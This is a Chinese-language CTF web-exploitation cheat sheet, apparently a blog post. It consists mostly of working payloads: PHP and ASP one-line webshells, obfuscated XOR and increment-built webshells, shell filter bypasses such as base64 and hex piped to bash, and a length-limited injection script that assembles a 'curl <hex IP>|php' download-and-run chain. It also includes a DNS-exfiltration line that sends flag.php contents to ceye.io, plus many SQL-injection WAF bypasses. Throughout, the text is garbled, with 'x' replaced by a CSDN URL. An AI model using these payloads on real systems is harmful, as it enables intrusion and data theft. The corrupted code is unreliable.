网上似乎没有一篇比较完整的CTF WEB题思路的总结,希望这篇“最全总结”对各位师傅有帮助。 基础 Flag可能出现的位置 网页源代码(注意注释) 数据库中 PHPinfo 靶机中的文件 环境变
@eval($_POST['yj']);?>
<%eval request ("yj")%>
<%@ Page Language="Jscript"%><%eval(Request.Item["yj"],"unsafe");%>
ssi:<--#include file="..\..\web.config" -->
ctfshow web102
=是php的短标签,是echo()的快捷用法 ?? #### 数组总比非数组类型大 #### && > = > and #### 内部类 常用`Ehttps://blog.csdn.net/yjprolus/article/details/xception`,其他可用的有 `DirectoryIterator/FilesystemIterator/SplFileObject/GlobIterator/ReflectionClass/ReflectionMethod` ```php // ctfshow web109/web110 eval("echo new $v1($v2());"); // ?v1=Ehttps://blog.csdn.net/yjprolus/article/details/xception&v2=system('tac fl36dg.thttps://blog.csdn.net/yjprolus/article/details/xt') ``` ### 考题中会出现的函数 #### get_defined_vars() 返回由所有已定义变量所组成的数组 #### call_user_func() 函数把第一个参数作为回调函数,其余参数都是回调函数的参数 #### _() 是一个函数 _()等效于gettehttps://blog.csdn.net/yjprolus/article/details/xt() 是gettehttps://blog.csdn.net/yjprolus/article/details/xt()的拓展函数,需要开启tehttps://blog.csdn.net/yjprolus/article/details/xt扩展。`echo gettehttps://blog.csdn.net/yjprolus/article/details/xt("ctfshownb");` `和 echo _("ctfshownb");` 的输出结果都为 ctfshownb #### parse_str() 函数会将传入的第一个参数设置成变量,如果设置了第二参数,则会将第一个参数的变量以数组元素的形式存入到这个数组。 ```php if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; } } // payload GET ?v3=1 & POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b # md5解密后对应1 ``` #### strrev() 反转字符串 #### shell_ehttps://blog.csdn.net/yjprolus/article/details/xec() 缩写为`` #### sprintf() `sprintf(fORMat,arg1,arg2,arg++)`: 把格式化的字符串写入一个变量中。arg1、arg2、arg++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。`%`后的第一个字符,都会被当做字符类型而被吃掉。也就是当做一个类型进行匹配后面的变量。如`%c`匹配ascii码,`%d`匹配整数,如果不在定义中的也会进行匹配,匹配为空。比如`%\`匹配任何参数都为空。 ```phppayload`username = admin%1$' and 1 = 1#`,可以使**单引号逃逸**,导致存在sql盲注。#### mt_rand()`mt_rand(min,mahttps://blog.csdn.net/yjprolus/article/details/x)` ```php
payload: POST:seed=1&key=1244335972&hello=);system('cat flag.php');echo(0
${}
eval('$string = "'.$_GET[cmd].'";'); // payload: http://127.0.0.1/test.php?cmd=${phpinfo()}
函数将整个文件或一个url所指向的文件读入一个字符串中
fsockopen($hostname,$port,$errno,$errstr,$timeout)
用于打开一个网络连接或者一个Unihttps://blog.csdn.net/yjprolus/article/details/x 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用Socket跟服务器建立tcp连接,进行传输原始数据。 fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。
SoapClient是一个php的内置类,当其进行反序列化时,如果触发了该类中的__call
方法,那么__call
便方法可以发送HTTP和HTTPS请求。
sha1('aaroZmOk')//0e66507019969427134894567494305185566735 sha1('aaK1STfY')//0e76658526655756207688271159624026011393 md5('QNKCDZO')//0e830400451993494058024219903391 md5('240610708')//0e462097431906509019562988736854
md5()遇到数组时会警告并且返回null:var_dump(@md5([]) === @md5([])) //bool(true)
,即null===null
$passWord = "ffifdyop";$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";var_dump($sql);
比较两个字符串,strcmp(string1, string2)不区分大小写,strcasecmp(string1, string2)区分大小写。若string1 > string2,返回> 0;若string1 < string2,返回< 0;若string1 = string2,返回0。该函数无法处理数组,当出现数组时,返回null。var_dump(@strcmp([],'flag') == 0); //bool(true)
var_dump(intval('1'));//int(1) var_dump(intval('1a'));//int(1) var_dump(intval('1%001'));//int(1) var_dump(intval('a1'));//int(0)
利用 trim 及 is_numeric 等函数实现的绕过
// %0c1%00$number = "\f1\0";// trim 函数会过滤 \n\r\t\v\0,但不会过滤过滤\f$number_2 = trim($number);var_dump($number_2); // \f1$number_2 = addslashes($number_2);var_dump($number_2); // \f1// is_numeric 检测的时候会过滤掉 '', '\t', '\n', '\r', '\v', '\f' 等字符// 但是不会过滤 '\0'var_dump(is_numeric($number)); // falsevar_dump(strval(intval($number_2))); // 1var_dump("\f1" == "1"); // true?>
搜索字符串以匹配模式中给出的正则表达式,函数区分大小写,匹配可以被%00截断绕过
ehttps://blog.csdn.net/yjprolus/article/details/xtract(array, ehttps://blog.csdn.net/yjprolus/article/details/xtract_rules, prefihttps://blog.csdn.net/yjprolus/article/details/x)
使用数组键名作为变量名,使用数组键值作为变量值。针对数组中每个元素,将在当前符号表中创建一个对应的变量
<?php $flag = 'aaa'; ehttps://blog.csdn.net/yjprolus/article/details/xtract($_GET); if (isset($gift)) { $content = trim(file_get_contents($flag)); if ($gift == $content) { echo 'flag{yjprolus}'; } else { echo 'no flag'; } } ?> // payload: GET:?flag=&gift= // ehttps://blog.csdn.net/yjprolus/article/details/xtract()会将flag和gift的值覆盖为空。$content = file_get_contens()的文件为空或不存在时则返回空值(会出现警告),即可以满足条件$gift == $content。
parse_str("name=Peter&age=43",$myArray); print_r($myArray); //Array ( [name] => Peter [age] => 43 )
// TODO 再写几道例题
import_request_variables() 函数将 get/post/cookie 变量导入到全局作用域中。如果你禁止了 reGISter_globals,但又想用到一些全局变量,那么此函数就很有用。该函数在最新版本的 php 中已经不支持
似乎没啥考点这个函数,可参考 CTF——PHP审计——变量覆盖_Captain Hammer的博客-CSDN博客_foreach ($_get as $key => $value)
call_user_func(array($ctfshow, ‘getFlag’));
等于 ctfshow::getFlag
(执行ctfshow类中静态方法getFlag)
$cmd=$_GET['cmd'];if(preg_match('/^php$/im', $cmd)){ # /i表示不区分大小写,/m表示多行匹配 if(preg_match('/^php$/i', $cmd)){ # 字符 ^ 和 $ 同时使用时,表示精确匹配 echo 'hacker'; }}payload:?cmd=aaa%0aphp # %0a为换行符,这样是两行
// TODO ctfshow web123
// ctfshow web147if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); }}// GET部分原理如下 function f($dotast){ echo 111; } phpinfo();//}
payload:
GET ?show=echo 123;}system("tac flag.php");//
POST ctf=\create_function
(\为PHP默认命名空间,\phpinfo即为直接调用该函数)
system()
#string system ( string $command [, int &$return_var ] )#system()函数执行有回显,将执行结果输出到页面上<?phpsystem("whoami");?>
ehttps://blog.csdn.net/yjprolus/article/details/xec()
echo ehttps://blog.csdn.net/yjprolus/article/details/xec("whoami");?>
popen()
#resource popen ( string $command , string $mode )#函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读#和写。函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行<?php popen( 'whoami >> c:/1.thttps://blog.csdn.net/yjprolus/article/details/xt', 'r' ); ?><?php $test = "ls /tmp/test"; $fp = popen($test,"r"); //popen打一个进程通道 while (!feof($fp)) { //从通道里面取得东西 $out = fgets($fp, 4096); echo $out; //打印出来 } pclose($fp); ?>
proc_open()
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )#与Popen函数类似,但是可以提供双向管道<?php $test = "ipconfig"; $array = array( array("pipe","r"), //标准输入 array("pipe","w"), //标准输出内容 array("pipe","w") //标准输出错误 ); $fp = proc_open($test,$array,$pipes); //打开一个进程通道 echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容 proc_close($fp); ?>
passthru()
#void passthru ( string $command [, int &$return_var ] )<?phppassthru("whoami");?>
shell_ehttps://blog.csdn.net/yjprolus/article/details/xec()
#string shell_ehttps://blog.csdn.net/yjprolus/article/details/xec( string &command)<?phpecho shell_ehttps://blog.csdn.net/yjprolus/article/details/xec("whoami");?>
反引号 `
#shell_ehttps://blog.csdn.net/yjprolus/article/details/xec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_ehttps://blog.csdn.net/yjprolus/article/details/xec时,` 也不可执行<?phpecho `whoami`;?>
pcntl_ehttps://blog.csdn.net/yjprolus/article/details/xec()
#void pcntl_ehttps://blog.csdn.net/yjprolus/article/details/xec ( string $path [, array $args [, array $envs ]] )#path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本#args是一个要传递给程序的参数的字符串数组。#pcntl是linuhttps://blog.csdn.net/yjprolus/article/details/x下的一个扩展,需要额外安装,可以支持 php 的多线程操作。#pcntl_ehttps://blog.csdn.net/yjprolus/article/details/xec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0<?php pcntl_ehttps://blog.csdn.net/yjprolus/article/details/xec ( "/bin/bash" , array("whoami"));?>
eval()
#传入的参数必须为PHP代码,既需要以分号结尾。#命令执行:cmd=system(whoami);#菜刀连接密码:cmd<?php @eval($_POST['cmd']);?>
assert()
#assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。#命令执行:cmd=system(whoami)#菜刀连接密码:cmd<?php @assert($_POST['cmd'])?>
preg_replace()
#preg_replace('正则规则','替换字符','目标字符')#执行命令和上传文件参考assert函数(不需要加分号)。#将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。preg_replace("/test/e",$_POST["cmd"],"jutst test");
create_function()
#创建匿名函数执行代码#执行命令和上传文件参考eval函数(必须加分号)。#菜刀连接密码:cmd$func =create_function('',$_POST['cmd']);$func();
array_map()
#array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。#命令执行http://localhost/123.php?func=system cmd=whoami#菜刀连接http://localhost/123.php?func=assert 密码:cmd$func=$_GET['func'];$cmd=$_POST['cmd'];$array[0]=$cmd;$new_array=array_map($func,$array);echo $new_array;
call_user_func()
#传入的参数作为assert函数的参数#cmd=system(whoami)#菜刀连接密码:cmdcall_user_func("assert",$_POST['cmd']);
call_user_func_array()
#将传入的参数作为数组的第一个值传递给assert函数#cmd=system(whoami)#菜刀连接密码:cmd$cmd=$_POST['cmd'];$array[0]=$cmd;call_user_func_array("assert",$array);
array_filter()
#用回调函数过滤数组中的元素:array_filter(数组,函数)#命令执行func=system&cmd=whoami#菜刀连接http://localhost/123.php?func=assert 密码cmd$cmd=$_POST['cmd'];$array1=array($cmd);$func =$_GET['func'];array_filter($array1,$func);
uasort()
#php环境>=<5.6才能用#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。#命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);#菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd]) 密码:cmdusort($_GET,'asse'.'rt');
#常见的绕过符号有:$IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、<、#$IFS在linuhttps://blog.csdn.net/yjprolus/article/details/x下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名,加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用
%0a #换行符,需要php环境%0d #回车符,需要php环境; #在 shell 中,是”连续指令”& #不管第一条命令成功与否,都会执行第二条命令&& #第一条命令成功,第二条才会执行| #第一条命令的结果,作为第二条命令的输入|| #第一条命令失败,第二条才会执行
假如过滤了关键字cat\flag,无法读取不了flag.php,又该如何去做
拼接绕过
#执行ls命令:a=l;b=s;$a$b#cat flag文件内容:a=c;b=at;c=f;d=lag;$a$b ${c}${d}#cat test文件内容a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test
编码绕过
#base64echo "Y2F0IC9mbGFn"|base64 -d|bash ==> cat /flagecho Y2F0IC9mbGFn|base64 -d|sh ==> cat /flag#hehttps://blog.csdn.net/yjprolus/article/details/xecho "0https://blog.csdn.net/yjprolus/article/details/x636174202f666c6167" | https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xd -r -p|bash ==> cat /flag#oct/字节$(printf "\154\163") ==>ls$(printf "\https://blog.csdn.net/yjprolus/article/details/x63\https://blog.csdn.net/yjprolus/article/details/x61\https://blog.csdn.net/yjprolus/article/details/x74\https://blog.csdn.net/yjprolus/article/details/x20\https://blog.csdn.net/yjprolus/article/details/x2f\https://blog.csdn.net/yjprolus/article/details/x66\https://blog.csdn.net/yjprolus/article/details/x6c\https://blog.csdn.net/yjprolus/article/details/x61\https://blog.csdn.net/yjprolus/article/details/x67") ==>cat /flag{printf,"\https://blog.csdn.net/yjprolus/article/details/x63\https://blog.csdn.net/yjprolus/article/details/x61\https://blog.csdn.net/yjprolus/article/details/x74\https://blog.csdn.net/yjprolus/article/details/x20\https://blog.csdn.net/yjprolus/article/details/x2f\https://blog.csdn.net/yjprolus/article/details/x66\https://blog.csdn.net/yjprolus/article/details/x6c\https://blog.csdn.net/yjprolus/article/details/x61\https://blog.csdn.net/yjprolus/article/details/x67"}|\$0 ==>cat /flag#i也可以通过这种方式写马#内容为${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
单引号和双引号绕过
c'a't testc"a"t test
反斜杠绕过
ca\t test
通过$PATH绕过
#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成#当执行程序时,shell自动跟据PATH变量的值去搜索该程序#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin`echo $PATH| cut -c 8,9`t test
通配符绕过
- […]表示匹配方括号之中的任意一个字符
- {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
- {…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开
cat t?stcat te*cat t[a-z]stcat t{a,b,c,d,e,f}st
>a #虽然没有输入但是会创建a这个文件ls -t #ls基于基于事件排序(从晚到早)sh a #sh会把a里面的每行内容当作命令来执行使用|进行命令拼接 #l\ s = lsbase64 #使用base64编码避免特殊字符
七字符限制
w>hpw>1.p\\w>d\>\\w>\ -\\w>e64\\w>bas\\w>7\|\\w>XSk\\w>Fshttps://blog.csdn.net/yjprolus/article/details/x\\w>dFV\\w>kX0\\w>bCg\\w>XZh\\w>AgZ\\w>waH\\w>PD9\\w>o\ \\w>ech\\ls -t|\sh
翻译过来就是
echo PD9waHAgZXZhbCgkX0dFVFshttps://blog.csdn.net/yjprolus/article/details/xXSk7 | base64 -d > 1.php
脚本代码
import requests url = "http://192.168.1.100/rce.php?1={0}"print("[+]start attack!!!")with open("payload.thttps://blog.csdn.net/yjprolus/article/details/xt","r") as f:for i in f:print("[*]" + url.format(i.strip()))requests.get(url.format(i.strip())) #检查是否攻击成功test = requests.get("http://192.168.61.157/1.php")if test.status_code == requests.codes.ok:print("[*]Attack success!!!")
四字符限制
#-*-coding:utf8-*-import requests as rfrom time import sleepimport randomimport hashlibtarget = 'http://52.197.41.31/' # 存放待下载文件的公网主机的IPshell_ip = 'https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x' # 本机IPyour_ip = r.get('http://ipv4.icanhazip.com/').tehttps://blog.csdn.net/yjprolus/article/details/xt.strip() # 将shell_IP转换成十六进制ip = '0https://blog.csdn.net/yjprolus/article/details/x' + ''.join([str(hehttps://blog.csdn.net/yjprolus/article/details/x(int(i))[2:].zfill(2)) for i in shell_ip.split('.')]) reset = target + '?reset'cmd = target + '?cmd='sandbohttps://blog.csdn.net/yjprolus/article/details/x = target + 'sandbohttps://blog.csdn.net/yjprolus/article/details/x/' + hashlib.md5('orange' + your_ip).hehttps://blog.csdn.net/yjprolus/article/details/xdigest() + '/' # payload某些位置的可选字符pos0 = random.choice('efgh')pos1 = random.choice('hkpq')pos2 = 'g' # 随意选择字符 payload = [ '>dir', # 创建名为 dir 的文件 '>%s>' % pos0, # 假设pos0选择 f , 创建名为 f> 的文件 '>%st-' % pos1, # 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1, # 因为alphabetical序中t>s '>sl', # 创建名为 >sl 的文件;到此处有四个文件, # ls 的结果会是:dir f> kt- sl '*>v', # 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v , # 前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl # 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符 '>rev', # 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v '*v>%s' % pos2, # 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。 # 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f # 续行分割 curl 0https://blog.csdn.net/yjprolus/article/details/x11223344|php 并逆序写入 '>p', '>ph\', '>|\', '>%s\' % ip[8:10], '>%s\' % ip[6:8], '>%s\' % ip[4:6], '>%s\' % ip[2:4], '>%s\' % ip[0:2], '> \', '>rl\', '>cu\', 'sh ' + pos2, # sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来, # 虽然 f 的文件头部会有杂质,但不影响有效命令的执行 'sh ' + pos0, # sh f 执行curl命令,下载文件,写入木马。] s = r.get(reset)for i in payload: assert len(i) <= 4 s = r.get(cmd + i) print '[%d]' % s.status_code, s.url sleep(0.1)s = r.get(sandbohttps://blog.csdn.net/yjprolus/article/details/x + 'fun.php?cmd=uname -a')print '[%d]' % s.status_code, s.urlprint s.tehttps://blog.csdn.net/yjprolus/article/details/xt
判断
#利用sleep判断ls;sleep 3#http请求/dns请求http://ceye.io/payloads
利用
#写shell(直接写入/外部下载)echo >wget#http/dns等方式带出数据#需要去掉空格,可以使用sed等命令echo `cat flag.php|sed s/[[:space:]]//`.php.https://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/xhttps://blog.csdn.net/yjprolus/article/details/x.ceye.io
异或
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';$___=$$__;$_($___[_]); // assert($_POST[_]);
简短写法
"`{{{"^"?<>/" //_GET
$__=('>'>'<')+('>'>'<');//$__2$_=$__/$__;//$_1$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST$_=$$_____;//$_=$_POST$____($_[$__]);//assert($_POST[2])
简短写法
${~"\https://blog.csdn.net/yjprolus/article/details/xa0\https://blog.csdn.net/yjprolus/article/details/xb8\https://blog.csdn.net/yjprolus/article/details/xba\https://blog.csdn.net/yjprolus/article/details/xab"} //$_GET
$_=[];$_=@"$_"; // $_='Array';$_=$_['!'=='@']; // $_=$_[0];$___=$_; // A$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__; // S$___.=$__; // S$__=$_;$__++;$__++;$__++;$__++; // E $___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$____.=$__;$_=$$____;$___($_[_]); // ASSERT($_POST[_]);
include'flag.php';if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>50){ die("Too Long."); } if(preg_match("/[A-Za-z0-9_]+/",$code)){ die("Not Allowed."); } @eval($code);}else{ highlight_file(__FILE__);}//$hint = "php function getFlag() to get flag";?>
payload:
code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
$_="{{{"^"?<>/";
=$_="GET";
${$_}[_](${$_}[__]);
=$_GET[_]($_GET[__]);
=getFlag($_GET[__])
=getFlag(null);
这个payload
的长度是 37 ,符合题目要求的 小于等于40 。另fuzz
出了长度为 28 的 payload ,如下:
$_="{{{{{{{"^"%1c%1e%0f%3D%17%1a%1c";$_();#getFlag()
字符型
数字型
order by是排序的语句
数据库的安装目录
版本限制
32位长度限制
or ——> ||and ——> &&https://blog.csdn.net/yjprolus/article/details/xor——>| not——>!十六进制绕过or ——> o\https://blog.csdn.net/yjprolus/article/details/x72大小写绕过OraNd双写绕过oorrananddurlencode,ascii(char),hehttps://blog.csdn.net/yjprolus/article/details/x,unicode编码绕过一些unicode编码举例:单引号:'%u0027 %u02b9 %u02bc%u02c8 %u2032%uff07 %c0%27%c0%a7 %e0%80%a7关键字内联注释尝试绕所有
urlencode,ascii(char),hehttps://blog.csdn.net/yjprolus/article/details/x,unicode编码绕过%u0028 %uff08%c0%28 %c0%a8%e0%80%a8
urlencode,ascii(char),hehttps://blog.csdn.net/yjprolus/article/details/x,unicode编码绕过%u0029 %uff09%c0%29 %c0%a9%e0%80%a9
逻辑绕过例:过滤代码 union select user,password from users绕过方式 1 && (select user from users where userid=1)='admin'十六进制字符绕过select ——> selec\https://blog.csdn.net/yjprolus/article/details/x74union——>unio\https://blog.csdn.net/yjprolus/article/details/x6e大小写绕过SelEct双写绕过selselectectuniuniononurlencode,ascii(char),hehttps://blog.csdn.net/yjprolus/article/details/x,unicode编码绕过关键字内联绕所有
用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 ()绕过空格注释符绕过//--%20#--+-- -;%00;空白字符绕过SQLite3 —— 0A,0D,0c,09,20MYSQL09,0A,0B,0B,0D,A0,20PosgressSQL0A,0D,0C,09,20oracle_11g00,0A,0D,0C,09,20MSSQL01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20特殊符号绕过` + !等科学计数法绕过例:select user,password from users where user_id0e1union select 1,2unicode编码%u0020 %uff00%c0%20 %c0%a0 %e0%80%a0
?id=1' or 1 like 1#可以绕过对 = > 等过滤or '1' IN ('1234')#可以替代=
select*fromuserswhereid=1and ascii(substr(database(),0,1))>64select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64
逻辑绕过过滤代码 1 && (select user from users where user_id = 1) = 'admin'绕过方式 1 && (select user from users limit 1) = 'admin'
逻辑绕过过滤代码 1 && (select user from users limit 1) = 'admin'绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
逻辑绕过过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
逻辑绕过过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1绕过方式 1 && substr(user,1,1) = 'a'
逻辑绕过waf = 'and|or|union|where|limit|group by|select|\''过滤代码 1 && substr(user,1,1) = 'a'绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0https://blog.csdn.net/yjprolus/article/details/x611 && substr(user,1,1) = unhehttps://blog.csdn.net/yjprolus/article/details/x(61)宽字节绕过%bf%27 %df%27 %aa%27
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:selectsubstr(database(0from1for1);selectmid(database(0from1for1);对于limit可以使用offset来绕过:select*fromnews limit0,1# 等价于下面这条SQL语句select*fromnews limit1offset0
逻辑绕过过滤代码 1 && substr(user,1,1) = unhehttps://blog.csdn.net/yjprolus/article/details/x(61)绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
逻辑绕过过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16))绕过方式 1 && lpad(user(),1,1) in 'r'
利用urlencode,ascii(char),hehttps://blog.csdn.net/yjprolus/article/details/x,unicode等编码绕过
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。十六进制编码SELECT(ehttps://blog.csdn.net/yjprolus/article/details/xtractvalue(0https://blog.csdn.net/yjprolus/article/details/x3C613E61646D696E3C2F613E,0https://blog.csdn.net/yjprolus/article/details/x2f61))双重编码绕过?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
hehttps://blog.csdn.net/yjprolus/article/details/x()、bin() ==> ascii()sleep() ==>benchmark()concat_ws()==>group_concat()mid()、substr() ==> substring()@@user ==> user()@@datadir ==> datadir()举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 或者:substr((select 'password'),1,1) = 0https://blog.csdn.net/yjprolus/article/details/x70strcmp(left('password',1), 0https://blog.csdn.net/yjprolus/article/details/x69) = 1strcmp(left('password',1), 0https://blog.csdn.net/yjprolus/article/details/x70) = 0strcmp(left('password',1), 0https://blog.csdn.net/yjprolus/article/details/x71) = -1
MySQL/postgresql支持XML函数:Select UpdateXML(‘ ’,’/script/@https://blog.csdn.net/yjprolus/article/details/x/’,’src=//evil.com’); ?id=1 and 1=(updatehttps://blog.csdn.net/yjprolus/article/details/xml(1,concat(0https://blog.csdn.net/yjprolus/article/details/x3a,(select user())),1))SELECT https://blog.csdn.net/yjprolus/article/details/xmlelement(name img,https://blog.csdn.net/yjprolus/article/details/xmlattributes(1as src,'a\l\https://blog.csdn.net/yjprolus/article/details/x65rt(1)'as \117n\https://blog.csdn.net/yjprolus/article/details/x65rror)); //postgresql?id=1 and ehttps://blog.csdn.net/yjprolus/article/details/xtractvalue(1, concat(0https://blog.csdn.net/yjprolus/article/details/x5c, (select table_name from information_schema.tables limit 1)));and 1=(updatehttps://blog.csdn.net/yjprolus/article/details/xml(1,concat(0https://blog.csdn.net/yjprolus/article/details/x5c,(select user()),0https://blog.csdn.net/yjprolus/article/details/x5c),1))and ehttps://blog.csdn.net/yjprolus/article/details/xtractvalue(1, concat(0https://blog.csdn.net/yjprolus/article/details/x5c, (select user()),0https://blog.csdn.net/yjprolus/article/details/x5c))
\N相当于NULL字符
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
PHP 的 pcre.backtrack_limit 限制利用unionselect
上面的还不行?尝试修改语句逻辑再绕过
0:只显示Python错误以及重要信息
1:显示信息以及警告(默认)
2:显示debug消息
3:显示注入payload
4:显示http请求
5:显示http响应头·
6:显示http响应内容
读
load_file
关键条件
有读权限
知道绝对路径
用法
写
into outfile
关键条件
有写权限
知道绝对路径
绕过单引号的过滤
用法
读
写
–os-shell
原理
–os-cmd
身份认证
数据包解析
规则匹配
大小写
替代
特殊字符
代替空格的特殊字符
括号
花括号
编码
注释符号
综合方式
参数污染
缓冲区溢出
分块传输
正则绕过:\bselect\b -> /! 50000select/
遗漏的注入点
常用的tamper脚本
用法
进阶:自己编写tamper脚本
jsql-injection
/盗用cookie,获取敏感信息。
2.利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。
4.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5.在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。
反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
